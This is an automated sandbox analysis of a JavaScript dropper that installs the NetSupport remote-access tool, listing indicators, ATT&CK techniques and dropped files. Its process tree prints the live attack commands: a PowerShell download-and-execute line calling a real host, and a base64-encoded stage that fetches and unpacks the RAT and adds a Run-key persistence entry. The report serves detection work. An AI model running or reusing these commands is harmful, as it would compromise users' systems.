netsupport | 6a1f9cd96e83e128052256853176ae7162abdebc72b93fdb5f32eae53cf9e119

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
05-03-2024 02:24

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General

Target

6a1f9cd96e83e128052256853176ae7162abdebc72b93fdb5f32eae53cf9e119.js
Size

64KB
MD5

2ef941216fe750eeed4fb1679c93370d
SHA1

d51d80623ef091ad40b97c7afe8285d4d196d74f
SHA256

6a1f9cd96e83e128052256853176ae7162abdebc72b93fdb5f32eae53cf9e119
SHA512

40f69f58aac11499d10b43b3a6aeea241bfbb633dd69803accb2bb041f1a656f62d96d36f9bc1a5d4dedba15ddc2afa56f641a9cd3ccd746b82f2028786669ef
SSDEEP

1536:p4s1HFEa+GiVYDUaTlMd8lXG3esO6BEgIlofHxYSAZ580weXxdUJHRROiI0oMQqE:b1HFf+3jiPtsO6BEgIlofRYSAZ580weZ

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	2832	powershell.exe
32	1144	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4084	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
4084	client32.exe
4084	client32.exe
4084	client32.exe
4084	client32.exe
4084	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stable folder manager (mar.04) = "C:\\Users\\Admin\\AppData\\Local\\Stable folder manager (mar.04)\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2832	powershell.exe
2832	powershell.exe
1144	powershell.exe
1144	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeSecurityPrivilege	4084	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4084	client32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 2832	3104	wscript.exe	91
PID 3104 wrote to memory of 2832	3104	wscript.exe	91
PID 2832 wrote to memory of 1144	2832	powershell.exe	93
PID 2832 wrote to memory of 1144	2832	powershell.exe	93
PID 1144 wrote to memory of 4084	1144	powershell.exe	101
PID 1144 wrote to memory of 4084	1144	powershell.exe	101
PID 1144 wrote to memory of 4084	1144	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6a1f9cd96e83e128052256853176ae7162abdebc72b93fdb5f32eae53cf9e119.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe
      "C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
512c6cab650bfda6ef2995f6b515ed6f

SHA1
fec40abf4f5d74ea7f8828cee83770e423203083

SHA256
84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262

SHA512
638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\MSVCR100.dll

Filesize
128KB

MD5
dd493eeaddb1b7ae400521da09877ff2

SHA1
9abfc1e99101ec2987a371a5349f03dfc8ea6485

SHA256
e5818ca277ec93bd2d62f22face9247b833047ff298d361ae41ffdbb5e43a11a

SHA512
bd3eb6a74f6c50973d04f41f92ef89abdfcc19f03750ba62f6a336c20fe1809b8f9a968584c2570c884eb34a505c7a2404c72792976f5e19dca7192d4ce12ab4

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.DLL

Filesize
832KB

MD5
8aaf24b0122a38cd2cbf938af22e270b

SHA1
5e742ba74f146744a40028bfa9de3af30ad30080

SHA256
535d8ee2c64a9e855e5f259b076cc3f8c6e082ae3c2d3f137abe22aaea07c8cf

SHA512
e6894a6ddb4743d02ce0318d5253738942f9fda1b5f2625e26f55f4630c6edf4b203b220e7dc7909399b2ff53fc9b724ed14aaded15520930d99f2ed213b9ee2

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.dll

Filesize
1.2MB

MD5
faece3d09b7de4f679f92b1fbbb8fdef

SHA1
6c5e5850fe358d54e9107480bd97683a7a359103

SHA256
204a022f121e9c01d54282c1715f8182aa4ee4da6be0b9d8ee10434d5dc992a1

SHA512
52755d39c1ac93df1ed420107d400bbeb57ec532aae78de0e34ab30d2d624de8736037962887c5f410960e0cb57d142bae89b6cffcd37490138de00feffd72ca

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.ini

Filesize
638B

MD5
5a017da03df76f4e2077fd2c4a115b1b

SHA1
2a79863853d4caa243571c0055c228e079d82339

SHA256
1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d

SHA512
580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\msvcr100.dll

Filesize
79KB

MD5
32cb445d6332f3a5817e81d0fea88ad7

SHA1
634d7194e44b939681a82f497c034c4ce1ed26d5

SHA256
5508a455d889e1d6bb759f815b9730b3154cfb8c46af407e52582c4372250c7b

SHA512
8300175dd12b9da6ab51640551519f61064e3db94bfbc60488a85866f2f19cb421d11081a32dfe376c912151c11c007e6e1389452f59b00e81550b9d3fe661fb

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4soygynh.vne.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1144-22-0x00007FF828810000-0x00007FF8292D1000-memory.dmp

Filesize
10.8MB

Download
memory/1144-28-0x000001EDF8680000-0x000001EDF8692000-memory.dmp

Filesize
72KB

Download
memory/1144-82-0x00007FF828810000-0x00007FF8292D1000-memory.dmp

Filesize
10.8MB

Download
memory/1144-29-0x000001EDF8670000-0x000001EDF867A000-memory.dmp

Filesize
40KB

Download
memory/1144-23-0x000001EDF6320000-0x000001EDF6330000-memory.dmp

Filesize
64KB

Download
memory/1144-24-0x000001EDF6320000-0x000001EDF6330000-memory.dmp

Filesize
64KB

Download
memory/2832-25-0x00007FF828810000-0x00007FF8292D1000-memory.dmp

Filesize
10.8MB

Download
memory/2832-12-0x000002542B410000-0x000002542B420000-memory.dmp

Filesize
64KB

Download
memory/2832-11-0x000002542B410000-0x000002542B420000-memory.dmp

Filesize
64KB

Download
memory/2832-26-0x000002542B410000-0x000002542B420000-memory.dmp

Filesize
64KB

Download
memory/2832-10-0x00007FF828810000-0x00007FF8292D1000-memory.dmp

Filesize
10.8MB

Download
memory/2832-5-0x000002542D490000-0x000002542D4B2000-memory.dmp

Filesize
136KB

Download
memory/2832-86-0x00007FF828810000-0x00007FF8292D1000-memory.dmp

Filesize
10.8MB

Download